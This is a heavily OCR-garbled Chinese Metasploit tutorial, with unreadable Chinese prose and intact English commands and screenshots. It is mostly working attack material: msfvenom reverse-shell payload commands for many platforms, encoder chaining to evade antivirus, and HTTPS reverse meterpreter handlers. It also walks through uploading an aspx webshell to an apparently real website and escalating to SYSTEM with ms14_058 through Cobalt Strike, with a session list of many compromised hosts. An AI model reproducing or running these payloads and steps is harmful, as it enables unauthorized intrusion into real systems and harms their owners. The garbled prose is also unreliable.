e

RIS

F "H" WEF 2016 F£10 B 1 HLIBEH . "B A IEAWEISIIEE :

[RE 1 : XERERBRXIEFRIEL , REASHELUAIE , BRMFRFIZMERR
HIEHASEIC , B BIERICClIESER

[RE 2 : BIEXXEFEZEHEN S Metasploit HFHFISHEHIER , REATHARSH
Metasploit 2FEBMFAIFIFIRLARBIFRIE T ERIHIE FAIR bR

[RE 3 : FRFABETAMEENHBHARASRIEE  ARBISMIF | FHEA
IR RER | SARSIERASES , HeBE S ITHEEMRIRAES  XRRHSNFHTR
HIR P-C RifiFiRiEs , AREFEEEIXFNSSIES

A AWBFE : 403001684@qq.com QQE¥ : 537620869 IRMEBFHIMAN—EEIZTH

BERIE

1.metasploit BIERASHNE

2.postgresql HIEEN 2

3.msfvenom 4B payload S#{i¥fg

4. LFIFIF aspx HIZA R shell $2X 08 , 03 IRS3EE
5.msfvenom fRIBAERR https HFTHISHRRA

6.Android FHU=H GREVE(S , BIEF+BIRICH , WAFRH)
7.Cobalt Strike3.0 {EFENE

8.Meterpreter i  RTEG RN



mailto:403001684@qq.com

9.Meterpreter SiE[G{tIE
10.Meterpreter [SI JIAFAINE
11.Metasploit (R IEERIRBIEIRN B
12.Meterpreter 57722

13.Metasploit faz=a93LH)

B—E1
— . metasploit WEAFE :

root@P-C: ~

M) YmiB(E) EE(N) BE((S) £immMm HEEIH)
:~# msfconsole

Validate lots of vulnerabilities to demonstrate exposure
__with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

=[ met it v4.12 ay
+-=[ 1577 exploits - 907 auxiliary - 272 post
+-=[ 455 payloads - 39 encoders - 8 nops
+-=[ Free Metasploit Pro trial: http://r-7.co/trymsp

L ERLIERREREIFEZ BB ATl ERAER
metasploit MIZEA N AN T

config metasploit MHABERERFE, HEERERFE


http://lib.csdn.net/base/mysql

Data BFEEBRM—E T AR payload, E=F/NTHES, AP FHREHESR
Db rails 4 PEAERR msf ] web HEZERT HI¥IE (S B

Documentation F /™ it B ST K2 TR S0

External metasploit [I—iLEERfiy AR

Libs metasploit If)—EFEREANEE =K

Log metasploit iZ4TH M —& RG(FE BAMHAME R

Modules metasploit W &4 T EER, AEHHHEIBER (auxiliary), BiEER (exploits),
Wit 2 (payloads) Fl 5 BB (posts) , PA R B FBAEIR (nops) F4wtE#EER (Encoders)

Msfbinscan Xt bin SCHFBEAT XA RS Mk 194

Msfconsole metasploit HZEAM 41T, BT £ IR,

Msfelfscan %t Linux ] elf SCAE-{m#s Hubki#4T 33

Msfmachscan ZjRER msfelfscan

Msfpescan X} windows H] pe ¥ R CHHmAE Hubk i 1733 1

Msfvenom £RL T msfpayload Ml msfencode HITI&E, B% B & & msf payload Fl msfencode
Plugins metasploit %5 =5 fEHE: 0

Scripts metasplit KIH F/GBEBER, XAT data BRJFEEHER, ATEEMN post S
Megxt gz, v AE®IELT

— . Metasploit EHZ&%] :

help SHEIUEILBUSHIES ME :


http://lib.csdn.net/base/linux

root@P-C: ~ e O
MIF(F) fwiB(E) EEFE(NV) H=E(S) E£KT) HEENIH)
msf > help

Core Commands

Description

7 Help menu

advanced Displays advanced options for one or more modules

back Move back from the current context

banner Display an awesome metasploit banner

cd Change the current working directory

color Toggle color

connect Communicate with a host

edit Edit the current module with $VISUAL or $EDITOR

exit Exit the console

get Gets the value of a context-specific variable

getg Gets the value of a global variable

grep Grep the output of another command

help Help menu

info Displays information about one or more modules

irb Drop into irb scripting mode

jobs Displays and manages jobs

kill Kill a job

load Load a framework plugin

loadpath Searches for and loads modules from a path

makerc Save commands entered since start to a file

options Displays global options or for one or more modules

root@P-C: ~ e e O

MHF(F) RmER(E) BE(V) HEZR(S) Lim(M FHENH)

pushm Pushes the active or List of modules onto the module stack
quit Exit the console

reload all Reloads all modules from all defined module paths

rename job Rename a job

resource Run the commands stored in a file

route Route traffic through a session

save Saves the active datastores

search Searches module names and descriptions

sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value

setg Sets a global variable to a value

show Displays modules of a given type, or all modules

sleep Do nothing for the specified number of seconds

spool Write console output into a file as well the screen
threads View and manipulate background threads

unload Unload a framework plugin

unset Unsets one or more context-specific variables

unsetg Unsets one or more global variables

use Selects a module by name

version Show the framework and console library version numbers

Database Backend Commands

List all credentials in the database




Database Backend Commands

Command

List all credentials in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db export Export a file containing the contents of the database
db _import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db rebuild cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces

ETERENRANR—LEERIRSE , LLTHMENSEHELL xx -h BERISHEHER
1.search &4

B LAEEZR metasploit IZEAIFIBIER MNE :

. search ms15-051
[!] Module database cache not built yet, using slow search
Matching Modules

Disclosure Date Rank
scription

exploit/windows/local/ms15 051 client copy image 2015-05-12 normal
ndows ClientCopyImage Win32k Exploit

mst > |

2.use =&

{FAEFIAEA Payload , SREREMRREBEME use SE WA :

msf > use exploit/windows/local/msl5 051 client copy image

msT exploit( ) > 1

3.show options &&4

EHULEHFIBRIRLEER WE :



msf exploit( ge) > show options
Module options (exploit/windows/local/msl5 051 client copy image):

Name Current Setting Required Description

SESSION

Exploit target:
Id Name

0 Windows x86

mst exploit(

4.info &%

EHLEEIERMOFABIFEANBER WA :

root@P-C: ~ e 0 ﬁ
MEH(F) (REB(E) EBE(V) EER(S) #iR(T) #BEIH)

msT exploit( ) = info

Name: Windows ClientCopyImage Win32k Exploit
Module: exploit/windows/local/msl5 051 client copy image
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-05-12

Provided by:
Unknown
hfirefox
0] Reeves
Spencer McIntyre

Available targets:
Id Name

0 Windows x86
1 Windows x64

Basic options:
Name Current Setting Required Description




|Basic options:
Name Current Setting Required Description

SESSION

Payload information:
Space: 4096

Description:
This module exploits improper object handling in the win32k.sys
kernel mode driver. This module has been tested on vulnerable builds
of Windows 7 x64 and x86, and Windows 2008 R2 SP1 xb64.

References:
http://cvedetails.com/cve/2015-1701/
http://technet.microsoft.com/en-us/security/bulletin/M515-051
https://www.fireeye.com/blog/threat-research/2015/04/probable apt28 useo.html
https://github.com/hfirefOx/CVE-2015-1701
https://technet.microsoft.com/library/security/MS15-0851

mst exploit(

5.set &%
B Ri&&E Basic targets #EII IE :

'mst exploit( ) > set session 1
session => 1
msf exploit( } > set targets 0
targets => 0
msf exploit(

Set targets 0 XMZEFHIIN info SHEPMET , EHNSEHMEIEE windows kA
6.back &#f

UNSRARABE TR — P FROFI FIRIRBBAREM back iR[E Y0E :

s éxploit{

5 >

7.exit &%

Exit #1 back —H—/ 2iRE] , —NRBE WA :

mst exploit(
exit

4 1

8.kill 8 (FRFE—NHIE) # session SHTELIBAY meterpreter XEHRE N BT

PALFFERASEFRBIEAIEMERR metasploit BiEERNANRFTAZINE RS



iﬁE;l-I:===:-'1-

—Ea T

— . 7 I8 posttgresql #EEF db * SEAINGE :
HiEMERNRRA T A EEERENER |, BBLAFREEHE posttgresql #UERE , S$7H :

/etc/init.d/postgresql start #iE :

Cinit /etc/init.d/postgresql start
] Starting postgresql (via systemctl): postgresgl.service.
~#

FREENBEAIERHAN msf> TEEEFCIHHE posttgresql #EEE , E% help S8
—TF&—T Database 2§58 WA :

Database Backend Commands

List all credentials in the database

Connect to an existing database

Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces

1.db _status 2%}

EEEEESIEE posttgresql #iEE WE :




N EERTFRERBEEN  BARMNAECSERIEERT  MRFHSIEEZNERCIR

B e :

root@P-C: ~ e ® @

XH(F) #miB(E) EB() HEZ:(S) 2=im((T) HBE)H)
:~# msfdb init

Creating database user 'msf'

AFREWANOS:

Creating databases 'msf' and 'msf test'

Creating configuration file in /usr/share/metasploit-framework/config/database.y
1

reating initial database schema

s~

EEREENEREER WA :

: /usr/share/metasploit-framework/config# cat database.yml

development:

adapter: postgresql

database: msfT

username: mst

password: HkJZKPELxTa/YpVD5UVIYNj4/SiilkanTGuYMWbz3+s=

host: localhost

port: 5432

pool: 5

timeout: 5

production:
adapter: postgresql
database: msT
username: msf
password: HkJZKPELxTa/YpVD5UVIYNj4/SiiTkanTGuYMWbz3+s=
host: localhost
port: 5432
pool: 5
timeout: 5

test:

2.db connect £
db_connect 2RFREEEIERE

83U : db_connect HE:Z i3 @localhost:5432/8URERTR WE] :

i db:&oﬁnéct msT :HkJZKPELxTa/YpVD5UVIYNj4/SiiTkanTGuYMWbz3+s=@localhost:5432

El
—h

5

by

Rebuilding the module cache in the background...
db status

= —

—h i 0

I

postgresql connected to msf

= r—
L +*
|y et

o EEFRREAIC SR L T EER REEE R H R SR A S AR S



#ERE , BiZiT msf>
3.db_disconnect 28 A ERSHEIENTT db disconnect BiT]
= . iAE db_nmap BT tcp &R :

FRAIGAEIRAOAM 1P Wizt 406 :

El

sf > db nmap -Pn 192.168.11.109
Nmap: Starting Nmap 7.25BETA2 ( https://nmap.org

et o i e et e K e . e

t 2016-09-30 23:40 CST

»*

) a
Nmap: Nmap scan report for 192.168.11.109 (192.168.11.109)
Nmap: Host is up (©0.00029s latency).
Nmap: Not shown: 996 filtered ports
Nmap: PORT STATE SERVICE
Nmap: 443/tcp open htips

% %

Nmap: 902/tcp open iss-realsecure

Nmap: 912/tcp open apex-mesh

Nmap: 5357/tcp open wsdapi

Nmap: MAC Address: 68:07:15:7D:74:22 (Unknown)

Nmap: Nmap done: 1 IP address (1 host up) scanned in 4.48 seconds

=

=] ey ey ey ey g oy ey ey gy

(7 B, g e i et T M

XBEHTHENBRTEPENSETE  EFEHARSHEAREBITEE
4.hosts &4

Hosts SHE— M EFR&%S , AJLABEEIIEEFMIHNICRIEE NE :

name os_name os flavor

vice

sf >

WMNEMRIEEFITERY IP , {EH Hosts -c address SHEE WE :

-c address

192.168.11.109




Metasploit B 7RSHMIER , Bl E—BNRBTEBRNSE , HhE—1/ search iE
B BIF : search scanner (IBREFASMALEERT , BT )
BALEiE— B tep iIsORAMER , RINE L—BRAFEIAY set , use , show

options S%1 & :

msf > search portscan

Matching Modules

Name Disclosure Date
scription

auxiliary/scanner/http/wordpress pingback access normal
rdpress Pingback Locator

auxiliary/scanner/natpmp/natpmp_portscan normal
T-PMP External Port Scanner

auxiliary/scanner/portscan/ack normal
P ACK Firewall Scanner

auxiliary/scanner/portscan/ftpbounce normal
P Bounce Port Scanner

auxiliary/scanner/portscan/syn normal
P SYN Port Scanner

auxiliary/scanner/portscan/tcp normal
P Port Scanner

auxiliary/scanner/portscan/xmas normal

b e

BN LERRERERPBIEE auxiliary/scanner/portscan/tcp  IETREBRBER

meE 1:

L msf > use auxiliary/scanner/portscan/tcp
mst auxiliary( ) = show options

‘Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description

The number of concurrent ports to che

ck per host

DELAY 0 yes The delay between connections, per th
read, in milliseconds

JITTER 0 yes The delay jitter factor (maximum valu
e by which to +/- DELAY) in milliseconds.

PORTS 1-10600 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS yes The target address range or CIDR iden
tifier

THREADS yes The number of concurrent threads

TIMEOUT yes The socket connect timeout in millise
conds

msT auxiliary(

e 2:



msf auxiliary( ) > set PORTS 1-20000

PORTS => 1-20000

mst auxiliary( ) > set RHOSTS 192.168.11.109
RHOSTS => 192.168.11.109

mst auxiliary( ) > set THREADS 16
THREADS => 16
mst auxiliary(tcp) > |J

WL

e 3:

msf auxiliary( ) > run

[*] 192.168.11.109: - 192.168.11.109:443 - TCP OPEN
[*] 192.168.11.109: - 192.168.11.109:902 - TCP OPEN
[*] 192.168.11.109: - 192.168.11.109:912 - TCP OPEN

1 i T BAIFFERZIAY use , show options FMSEL , B 2 hEAIFIFA set g8

THiEIRD , FEBER ip (TS 192.168.11.1/24 RANALPAAMAEYHE ) K

j;i%;':::::EEE:-I-|-
—571
BUi8 : BM metasploit EFEETEIRT msfencode PAK msfpayload , FifttH 7 £FAY

4pkEE msfvenom , IETFRNB—T msfvenom BIERSE

—.msfvenom BISEL$AR -

msfvenom -h EEEHEE WNE :



:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

Options:
-p, --payload <payload> Payload to use. Specify a
oads

or stdin to use custom payl

--payload-options List the payload's standard options

-1, --list [type] List a module type. Options are: payloads, encoders, nops
, all

--nopsled <length> Prepend a nopsled of [length] size on to the payload

--format <format> Qutput format (use --help-formats for a list)

--help-formats List available formats

--encoder <encoder> The encoder to use

--arch <arch=> The architecture to use

--platform <platform> The platform of the payload

--help-platforms List available platforms

--space <length> The maximum size of the resulting payload

--encoder-space <length=> The maximum size of the encoded payload (defaults to the

-s value)

-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'

-i, --iterations <count> The number of times to encode the payload

-c, --add-code <path> Specify an additional win32 shellcode file to include

-X, --template <path> Specify a custom executable file to use as a template

-k, --keep Preserve the template behavior and inject the payload as
a new thread

-0, --out <path> Save the payload

-V, --var-name <name> Specify a custom variable name to use for certain output
formats

--smallest Generate the smallest possible payload
--he Show this message

-h,

HA=ER D SEHENE

1.-p RN RBISEMEMEAY payload

2.-1 FIHiFERY payload

3.-n i&E nopsled BIKI , FH rop 282 payload , AILAGE R4 edp (FIF

4.-f {EEFRPEIUNAL | #1 msfencode -t 1HE

( —#%h : 3% aspx php asp exe dll elf jsp msi war vbs EZEEER......ccoeeveneeee )
(=% : ZIF7 bash c java python ruby psl py perl pl EZEEBR...c.coveveeeeneneee )
5.-e (EFYWISE

6.-a FEMBAYIEFIGRED ( 4ERAY payload AT 32 (HEERS BBARKSE -a x86)

7.-s B payload RIEHRAILMEERASZ L

8.-b ERMFENBHBHRCIIRLZSRIOFHREIFEIER (FIE0 : -b \xOO\xff )

9.-i IEEMIBIRE

10.-c A4



1. -0 iSRS
= . FRIIZRYERL :

1.exe X :

root@P-C: ~

MH(F) fRIB(E) EZE() HBR(S) £imT) HEEIH)
:~# ifconfig
eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet netmask 255.255.255.0 broadcast 192.168.11.255
inetb fe80::20c:29ff:fe94:5206 prefixlen 64 scopeid @x208<link=>
ether 00:0¢:29:94:52:06 txqueuelen 1000 (Ethernet) s to the
RX packets 6169 bytes 1490954 (1.4 MiB)
RX errors 0 dropped @ overruns @ frame 0 i
TX packets 6476 bytes 473892 (462.7 KiB)
TX errors 0 dropped 0 overruns © carrier 8 collisions 0 clude
iplate
lo: flags=73<UP, LOOPBACK,RUNNING> mtu 65536 ;load as
N inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1O<host>

loop txqueuelen 1 (Local Loopback) n output
RX packets 334966 bytes 64363076 (61.3 MiB)
RX errors 0 dropped @ overruns @ frame 0
TX packets 334966 bytes 64363076 (61.3 MiB)
TX errors 0 dropped © overruns @ carrier @ collisions @ 45 -f exe

s~ [ ]

:~# msfvenom -p windows/meterpreter/reverse tcp LH0OST=192.168.11.104 LPORT=12345 -T ex
e > mingcheng.exe
No platform was selected, choosing Msf::Module::Platform: :Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size ﬂﬁ exe file: 73802 bytes

c~#

N _FEIFRLE ALY exe payload 192.168.11.104 2IHE AR IP , HOSWEERLIF
im0, FAIRUL exe ERREHERGIF , HEMMAERELARMEK , EFLEIEH
BRSPS —BNERARES

2.Linux

msfvenom -p linux/x86/meterpreter/reverse tcp LHOST=<IP>

LPORT=<PORT> -f elf > root.elf

3.Windows
msfvenom -p windows/meterpreter/reverse tcp LHOST=<IP>

LPORT=<PORT> -f exe > shell.exe



4.Mac
msfvenom -p osx/x86/shell reverse tcp LHOST=<IP> LPORT=<PORT> -f

macho > shell.macho

5.PHP

msfvenom -p php/meterpreter reverse tcp LHOST=<IP> LPORT=<PORT> -f
raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d "\n' > shell.php && pbpaste >>

shell.php

6.ASP
msfvenom -p windows/meterpreter/reverse tcp LHOST=<IP>

LPORT=<PORT> -f asp > shell.asp

7.JSP
msfvenom -p java/jsp shell reverse tcp LHOST=<IP> LPORT=<PORT> -f

raw > shell.jsp

8.WAR
msfvenom -p java/jsp shell reverse tcp LHOST=<IP> LPORT=<PORT> -f

war > shell.war



9.Python
msfvenom -p cmd/unix/reverse python LHOST=<IP> LPORT=<PORT> -f

raw > shell.py

10.Bash
msfvenom -p cmd/unix/reverse bash LHOST=<IP> LPORT=<PORT> -f raw >

shell.sh

11.Perl
msfvenom -p cmd/unix/reverse perl LHOST=<IP> LPORT=<PORT> -f raw >

shell.pl

= . {HGPARERL

BUEH

AU : E—HEAFEIT msfvenom ERSEZHIMIAFRIER , BBAX—TFIAIREK

FIF ms15_051 1 ms14_058 AURURRAEIRIN 08 , 03 fRS53% AR EMmP R 7 A
E—TSFrEREIRANIR | FHRZRIEAIESRIAIR—T metasploit Ef{LRELIR
1.3£7% exploit FIAF T metasploit {E5RMIBHRINEEECEEHHRET 3.0 LALRKRE . &

FRAIAX—HEARE 2.5 kR4 Cobalt Strike —3XLA metasploit J9EtiAI GUI BIIE



SNBETIR , KRTIHRO%R. BSAE , BadiEt | SEXROLER , win exe K
SR , win dil KBER; | java KBRS | office ZIREAERL , ARG ; HIBINEHEIE :
ihsveiE , BIRSEEREY , java HiiT , NEBENHESS

2.armitage £ —3X Java 5 metasploit EF: REMNEZHRGE , JUBEES
metasploit 219 exploit REXIFEAREBMLILE | bt5 kali linx TERET %2R
¥,

Ik - 117.21.000x00 FAIIMRA kali

BT : —/°3%3% aspx 9 shell 59.188.xx.xx

HF 2L X B AE T —4 aspx i—iE shell 41E :

A B3 3473, Wi{¥#h: 2325
@ Al
=

=& D: ®

- wawroot
- 8 cn

— . FFH ms14_058 iXMEHURIN :
AHRERE B ARBEER—RIE | RIS aspx , RIIRER— aspx HIRHE

B4 e -

:~# msfvenom -p windows/meterpreter/reverse tcp LHOST=1 i *~LPORT=1080% -T as
px -0 webshell.aspx
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of aspx file: 2761 bytes
Saved as: webshell.aspx
~#




ebshell.aspx

cobaltstrike.jar

webshell.php

-p IEE(RINELAY pauload -f ISERAIE -o IEEHBLE

— . fidE cobaltstrike :

1iREHR
e -
— -
EventLog X || Listeners X “
name payload
win windows/meterpreter/reverse_tcp

2. HERSLMIFE shell FFTFHEE

onE 1

X O~ @ nttp//www.SB0.cn/webshell.aspx

O http:ﬂww.'cn

B 2:

i Y



1013 07:54:08 Meterpreter session 112 opened (1

‘ i v NT AUTHORITY\METWORK SERVICE

BEUREIRE 59.188.xx.xx 2 ERAY ip it

B 3:

| | | #m 10.0.5.90

. -

| EventLog X | Meterpreter 112 X |

’ meterpreter > getuid

IREIRYE Rik BB 25 PR
4:

windows/local/ms1 4,058 trackapopupameny © © ©
Windows TrackPopupMenu Win32k NULL Pointer Dereference

arbitrary code execution. This module has been tested successfully on Windows XP
5P3, Windows 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on
Windows 7 SP1 and Windows 2008 R2 SP1 64 bits.

Option = Value

CARILJTI2ESSI0 L= 11 ‘
LHOST pr——

LPORT 20540

PAYLOAD = windows/meterpreter/reverse_tcp

SESSION = 112

Targets: [l} =>Windows x86 ~ I

71 Show advanced options
TEAFHEBURIRN RANRER R TRBRHAINE |, BETELF

B 5:



msf exploit{ 1 = exploit -
[*] Exploit running as background job.

[*] Launching notepad to host the exploit...

[+] Process 5568 launched.

[*] Reflectively injecting the exploit DLL into 5568...

[*] Injecting exploit into 5568...

[*] Exploit injected. Injecting payload into 5568...

[*] Payload injected. Executing exploit...

[+] Exploit finished, wait for (hopefully privilesed) payload execution to complete.
[*] Meterpreter session 113 opened {17 S 220540 -> 559,188, 2617

4 (IR BRI session 9112, FMIBEE 3 hthE 112, B 5 hFRFIRENE
SIRE— NMRSIE id 113

B 6:

FA S4f AFe 4

‘ EventLog X | Meterpreter 113 X
meterpreter > getuid

Server username: NT AUTHORIT'\SYSTEM

HEA BRI

B 7:



- -

Eventlog X | Ceskiop 3 X ‘

iF1¥ITS, d11

@

1F13TTE 11k

TEAE AR
R

RTTIEE Hindaws BRI,
B e

R AN S I RIEEL
B rosott SHBSERTE
HAEE - LSREEE tindo

#lwapslp

T2 3389 I SH

Ms15 051 #1 ms14_058 g9FIFBER

Cobalt Strike (-
i | Address < | Label Descripticn _ | Pivot N
¢ NT AUTHORITYWNETWORK SERvICE cli 3.20
NT AUTHORITYSYSTEM ol el 129
NTAUTHORITY\SYSTEM @ I 0.18
50 = | 7
1 NT AUTHORITY\NETWORK SERVICE @ I 50

NT AUTHORITYWM ETWORK SERVICE cll
MNT AUTHORITYANETWORK SERVICE @ I

L EEEEEEERE |

71 NT AUTHORITY\SYSTEM @ V2

NT AUTHORITY\SYSTEM @ WPS
5 MT AUTHORITY\NETWORK SERVICE @
87 NT AUTHORITYASYSTEM @ [E



FGOAWSPNET @

3 NT AUTHORITYANETWORK SERVICE
NT AUTHORITY\NETWORK SERVICE

15 NT AUTHORITYANETWORK SERVICE

A NT AJTHORITYANETWOREK SERVICE
NT AUTHORITY\NETWORK SERVICE
186 NT AJTHORITY\SYSTEM @ PLUER

0.686 NT AUTHORITYAWSYSTEM i@ SDUST-
137 NT AUTHORITY\Servicic de red @B
.238 MNT AJTHORITYANETWOREK SERVICE

i
¥

LERAREMES T EEES A7 —LEEERIN  BRATHBRAR

BRIE , e ARESHENE cobaltsarike BIER , KRTLAMEHERRS D

B, ERSE—B TN cobaltsarike ERMANNE | XEHHIRE shell ZIFLET

—EPRIFIMLER

5]

— . Msfvenom $gE84ER}; :

Msfvenom &p§ payload &2 RFIA—LERTITHRESHITINZE msfvenom -| KE—T

e
T

s

BRI RYwES NE :



Name
cmd/echo
cmd/generic_sh

cmd/ifs
cmd/perl
cmd/powershell base64
cmd/printf php mq
ncoder
generic/eicar
generic/none
mipsbe/byte xori
mipsbe/longxor
mipsle/byte xori
mipsle/longxor
php/base64
ppc/longxor
ppc/longxor tag
sparc/longxor tag
x64/xor
x64/zutto_dekiru
x86/add_sub
x86/alpha_mixed
x86/alpha_upper

x86/avoid_underscore_tolower

x86/avoid utf8 tolower
x86/bloxor

x86/bmp _polyglot
%x86/calld dword xor
%86/ context_cpuid
%x86/context stat

%86/ context time

Xgb/countdown
x86/fnstenv_mov
x86/jmp_call additive
%x86/nonalpha
x86/nonupper

x86/opt sub
x86/shikata ga nai
x86/single_static_bit
x86/unicode mixed
x86/unicode upper

mework NOPs (8 total)

armle/simple
php/generic
ppc/simple
sparc/random
tty/generic
x64/simple
%x86/opty2
x86/single byte

manual

low
normal
excellent
manual

manual
normal
normal
normal
normal
normal
great
normal
normal
normal
normal
manual
manual
low
low
manual
manual
manual
manual
normal
manual
manual
manual

normal
normal
low

low
manual
excellent
manual
manual
manual

Simple NOP generator
Generates harmless padding for PHP scripts
Simple NOP generator
SPARC NOP generator
Generates harmless padding for TTY input

An x64 single/multi byte NOP instruction generator.
Opty2 multi-byte NOP generator

Single-byte NOP generator

Description
Echo Command Encoder
Generic Shell Variable Substitution Command Enco

Generic ${IFS} Substitution Command Encoder

Perl Command Encoder

Powershell Base64 Command Encoder

printf(1l) via PHP magic quotes Utility Command E

The EICAR Encoder

The "none" Encoder

Byte XOR1i Encoder

XOR Encoder

Byte XORi Encoder

XOR Encoder

PHP Baseb64 Encoder

PPC LongXOR Encoder

PPC LongXOR Encoder

SPARC DWORD XOR Encoder

XOR Encoder

Zutto Dekiru

Add/Sub Encoder

Alpha2 Alphanumeric Mixedcase Encoder
Alpha2 Alphanumeric Uppercase Encoder

Avoid underscore/tolower

Avoid UTF8/tolower

BloXor - A Metamorphic Block Based XOR Encoder
BMP Polyglot

Call+4 Dword XOR Encoder

CPUID-based Context Keyed Payload Encoder
stat(2)-based Context Keyed Payload Encoder
time(2)-based Context Keyed Payload Encoder

ingle-byte XOR Countdown 00
Variable-length Fnstenv/mov Dword XOR Encoder
Jump/Call XOR Additive Feedback Encoder
Non-Alpha Encoder
Non-Upper Encoder
Sub Encoder (optimised)

Polymorphic XOR Additive Feedback Encoder
Single Static Bit

Alpha2 Alphanumeric Unicode Mixedcase Encoder
Alpha2 Alphanumeric Unicode Uppercase Encoder

BNMFEEBEFHANNBER  ARBTEERFEEE | XER(ERHEP—/MRIIRHT

W
1.x86/shikata_ga nai

onE -



:~# msfvenom -p windows/meterpreter/reverse tcp -e x86/shikata ga nai -i 5 -b '\x00'
LHOST=192.168.11.184 LPORT=5555 -f exe > l.exe
No platform was selected, choosing Msf::Module::Platform: :Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata ga nai
x86/shikata ga nai succeeded with size 360 (iteration=0)
x86/shikata ga nai succeeded with size 387 (iteration=1)

x86/shikata ga nai succeeded with size 414 (iteration=2)
x86/shikata ga nai succeeded with size 441 (iteration=3)
x86/shikata ga nai succeeded with size 468 (iteration=4)
x86/shikata ga nai chosen with final size 468
Payload size: 468 bytes
Final size of exe Tile: 73802 bytes

o b

« T

BHIGHEITIIRINE , FERSRIFT

2.ZmEBNNE

Msfvenom -p windows/meterpreter/reverse tcp -f raw -e
x86/jmp call additive LHOST=IP> | msfvenom -e x86/shikata ga nai -a x86 -

platform windows -f exe > 1.exe

XERRBEHTHF , ARTLIBTHSHI

= . https EFESREFHXIENRE

B 1:

:~# msfvenom -p windows/meterpreter/reverse https LHOST=192.168.11.104 LPORT=5555 -f
xe > l.exe
lo platform was selected, choosing Msf::Module::Platform::Windows from the payload
0 Arch selected, selecting Arch: x86 from the payload

o encoder or badchars specified, outputting raw payload
Payload size: 426 bytes
Final size of exe file: 73802 bytes

= |

A https £E—1"rI#1T pyaload
2:

f > use multi/handler
msT exploit( ) > set PAYLOAD windows/meterpreter/reverse https
PAYLOAD => windows/meterpreter/reverse https
msf exploit( ) > show options

Module options (exploit/multi/handler):




Payload options (windows/meterpreter/reverse https):

Name Current Setting Required Description

process Exit technique (Accepted: . seh, thread, proc

192.168.11.104 The local listener hostname
5555 The local listener port
The HTTP Path
Exploit target:
Id Name

0 Wildcard Target

msf exploit(

HA multi/handler FZIGREISIFIEIR , 28 https £ , IREF M ip flixO , X

BE;TE4RE payload B ip ik OZTNA S IFAI—H

mst exploit( ) > show advanced
Module advanced options (exploit/multi/handler)
Name Current Setting Required Description

ContextInformationFile The information file that contains cont
ext information

DisablePayloadHandler Disable the handler code for the select
ed payload

EnableContextEncoding Tfalse Use transient context when encoding pay
GELE

ExitOnSession true Return from the exploit after a session
has been created

ListenerTimeout 0 The maximum number of seconds to wait T
or new sessions

VERBOSE Enable detailed status messages

WORKSPACE Specify the workspace for this module

WfsDelay Additional delay when waiting for a ses
sion

ETNAERF

Payload advanced options (windows/meterpreter/reverse https):

Name Current Setting
Required Description

AutoloadStdapi

yes Automatically load the Stdapi extension
AutoRunScript

no A script to run automatically on session creation.

Show advanced EFEHNFERIGEEIMAREE SessionCommunicationTimeout
ExitOnSession XFFMEIR

B 4:



msf exploit( ) > set SessionCommunicationTimeout ©
SessionCommunicationTimeout == @
msf exploit( ) > set exitOnsession false

exitOnsession => false
mst exploit( I |

SessionCommunicationTimeout i8&7 0 EWFFIIEEIAF 300 7

ExitOnSession iRE A false BRISSIEFSE
5:

root@P-C: ~ @ ® 0
NE(F) fmiB(E) ZTE(N) BZR(S) £Lin(T) HEIH)
[ exploit( ) > exploit -j
*] Exploit running as background job.

] Started HTTPS reverse handler on https://192.168.11.104:5555
exploit( ) > [*] Starting the payload handler...
*] https://192.168.11.104:5555 handling request from 192.168.11.109; (UUID: p7z
bmxu2) Staging Native payload...
[*] Meterpreter session 1 opened (192.168.11.104:5555 -> 192.168.11.109:56425) a
t 2016-10-01 04:19:39 +0800

msf exploit( ) = sessions

Active sessions

Information Connection

1 meterpreter x86/win32 LAPTOP-VEOMQ3HV\P-C @ LAPTOP-VEOMQ3HY
04:5555 -> 192.168.11.109:56425 (192.168.11.109)

mst exploit( ) = sessions -i 1
[*] Starting interaction with 1..

meterpreter >

Sessions EEESIE id sessions -i &iF id )\ meterpreter &£iF

= . Payload Inject B A&7

post/windows/manage/payload inject

RN L2 , MRASFIES— & payload FIlH#EBSIE id , ATDEE—
ANFRISIE id

B 1:



msf post( use post/windows/manage/payload inject

msf ) =
msf post( ) = show options

Module options (post/windows/manage/payload inject):
Name Current Setting Required Description

AMOUNT 1 1 Select the amount of shel
1s you want to spawn.

HANDLER false no Start an exploit/multi/ha
ndler to receive the connection

LHOST yes IP of host that will rece
ive the connection from the payload.

LPORT 4433 no Port for Payload to conne
ct to.

OPTIONS no Comma separated list of a
dditional options for payload if needed in 'opt=val,opt=val' format.

PAYLOAD windows/meterpreter/reverse tcp no Windows Payload to inject

into memory of a process.

)] no Process Identifier to inj
ect of process to inject payload.

SESSION yes The session to run this m

> set HANDLER true

ms T ) = set lhost 192.168.11.104
lhost == 192.168.11.1604
msT post( )} > set lport 6666

} > set PAYLOAD windows/meterpreter/reverse https
